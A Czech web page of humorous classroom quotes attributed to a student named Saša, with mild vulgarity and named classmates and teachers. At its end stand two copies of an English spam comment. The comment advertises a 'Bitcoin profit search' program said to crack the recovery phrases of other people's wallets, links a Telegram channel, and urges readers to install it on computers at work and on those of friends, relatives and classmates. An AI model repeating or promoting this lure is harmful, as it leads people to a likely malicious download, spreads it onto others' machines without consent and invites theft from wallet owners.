Saša
"Dej to Vrbě..."
"Máme dneska celocvik?" (místo tělocvik)
O češtině:
Kvasnice: "Napište zkratku titulu vašeho vysněného povolání."
Saša napíše: SJD (=Saša je dobrej)
"Rodinná piječe..."
O laborkách z F zapojujeme el. obvod a zapisujeme nějaký údaje. Vítek zapojuje,, Tomáš sedí a kouká na ně, Dan zevluje kolem a točí vodičema a Saša zapisuje... Bouďas jim celou dobu radí: "Napište si tam co bylo uvedeno a pak to, co vám vyšlo..."
Vítek: "Sašo piš: Bylo uvedeno..." (Saša to píše na papír jak ho napadne) "Ale napiš k tomu trojku, jako že je to ten 3. způsob. Ty to píšeš jen tak do prostoru." (smích)
A Saša tak suvereně řekne: "Tak si to piš sám!"
Sašovy reakce: "žj, cž" (že jo, co že):-D
"A kdy má ta Vrba narozeniny?"
"No já dostanu káru od taty...":-)
Na fr je nás jen 5 a píšem další hodinu z chemie, tak nás Dvořina nechá, ať si děláme co chcem. Tak si všichni píšou taháky a Honza P. se zeptá: "Co znamená to planární?"
A Saša na to: "Žj to sexy - heh." :-D (vždycky to jeho "hh")
Saša řiká:-D : "Mě by posrala, kdyby mi ten tahák našla."
všichni hroznej výtlem :-DD
(a Tomáš na to: "Sašoo, co si řek? Posrala? Řiká se ale nasrala vííš." a SŠ jen: "hh, aha.")
O půlený matice se pořád všichni smějou a dělaj si srandu ze zápisu Bouďas. Pořád nějaký narážky a mezi tyhle vtipy Saša vážně prohodí: "Sněžíí..." a všichni totální výbuch
O laborkách z fyziky počítáme příklady... U tabule je flegmatickej Venca a Bouďas ho pořád mate, že Vašek už pak neví, co tam má počítat. Pak chvíli přemejšlí a ozve se Saša: "Počítej nee... tam stojí u tabule..."
(a následoval samozřejmě totální výbuch smíchu:-D)
Saša na Verču (ze zkušenosti s Kim): "Bacha na make-up."
O biologii, když děláme genetiku Šulcoá: "Ano, synové budou hemofilní..."
SŠ: "To je co... černý...- heh..."
"Pavel je albín. Heh - se opil a byl zelenej."
SŠ zas jednou perlí. Je hrozný vedro Saša pořád prohlašuje: "Je vedro..."a Bouďas chce po něm smazat tabuli. Saša na to: "Já tam nejdu, sem nervózní."
O ZSV: "Sašo, co je to zločin..."
SŠ: "Když někoho zabiješ."
Klára počítá o matice u tabule a Zuzka nechápe. Klára jí to začne zase svym způsobem vysvětlovat (samozřejmě je vysvětlení naprosto logickééé) a Saša se otočí na Zuzku a povidá: "Už rozumiš?"
Zase jednou po "dlouhý době" se Slezinou na matice... Někdo: "My sme parabolu nedělali!"
Slezina: "Vy ste parabolu nedělali?"
SŠ: "Ale Kominík umí!"
Robert se ptá o hodině chemie Elišky: "Napíšeš mi číslo na Mikeše?"
SŠ: "Proč, chceš s nim sex?"
El.: "Já nevim, nemám tu mobil."
SŠ: "Jaktože, si nenosíš..."
Honza: "Nech ji bejt nee..."
Na Fr prof.: "Jak se řekne rozveselit se, Sašo."
Saša: "Jak? Francouzsky?"
Na matice Vorš.: "... v čitateli přičteme a odečteme 1..."
SŠ na Vorš.: "Počkej jako jak..."
Na Fr máme psát písemku, tak už poctivě každej sedíme zvlášť, aby sme neopisovali. Tomáš se zeptá: "Bude A, B?"
Saša: "A, B, C, D..."
Pak se Tomáš eště zeptal: "Kolik bude otázek?"
A Saša zas pohotově: "54."
Na Fr budem psát písemku a Prof. diktuje věty. Verča nestíhá: "Eště jednou prosím."
Prof. se tak podivá směrem na Sašu a řekne jednou to stačí.
Saša na obranu, že on se neptal: "Já to nebyl."
Jednou na fyzice zkoušíme s Meix. ňákej pokus, kde se musí něčim točit a ono to vytváří el. proud. Profesorce to moc nejde, protože nemá sílu, tak zavolá Sašu a ten na to: "Já nevim, co pak bude... Pak 320, pak kebab bude."
Před matikou před seminářem počítáme eště nějaký příklady, protože píšem opakovací temata. Tak na jeden příklad přídem a Eliška: "Tak Sašo, budeš házet kostkou a běda, jestli tam nepadne tenhle příklad."
Saša: "No, jestli bude graf tak sem v piči."
Probíráme v čj pár otázek na maturitu z jazyka. Kvas.: "Dej mouku ze mlejna na vozejk - to je spisovné. A dej múku ze mlyna na vozik - to už ne."
Saša: "Tomu vic rozumim."
Verča objevila po maturiťáku na kloubku na ruce nějakej šlinc a SŠ hned: "Dejte si na ni bacha, dala ranu klukovi. Veru, to je drsna holka."
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(LamaNek, 7. 3. 2024 4:20)
I want to show you one exclusive program called (BTC PROFIT SEARCH AND MINING PHRASES), which can make you a rich man!
This program searches for Bitcoin wallets with a balance, and tries to find a secret phrase for them to get full access to the lost wallet!
Run the program and wait, and in order to increase your chances, install the program on all computers available to you, at work, with your friends, with your relatives, you can also ask your classmates to use the program, so your chances will increase tenfold!
Remember the more computers you use, the higher your chances of getting the treasure!
DOWNLOAD FOR FREE
Telegram:
https://t.me/btc_profit_search
BITCOIN MONEY SEARCH SOFTWARE
(LamaNek, 7. 3. 2024 1:13)
I want to show you one exclusive program called (BTC PROFIT SEARCH AND MINING PHRASES), which can make you a rich man!
This program searches for Bitcoin wallets with a balance, and tries to find a secret phrase for them to get full access to the lost wallet!
Run the program and wait, and in order to increase your chances, install the program on all computers available to you, at work, with your friends, with your relatives, you can also ask your classmates to use the program, so your chances will increase tenfold!
Remember the more computers you use, the higher your chances of getting the treasure!
DOWNLOAD FOR FREE
Telegram:
https://t.me/btc_profit_search
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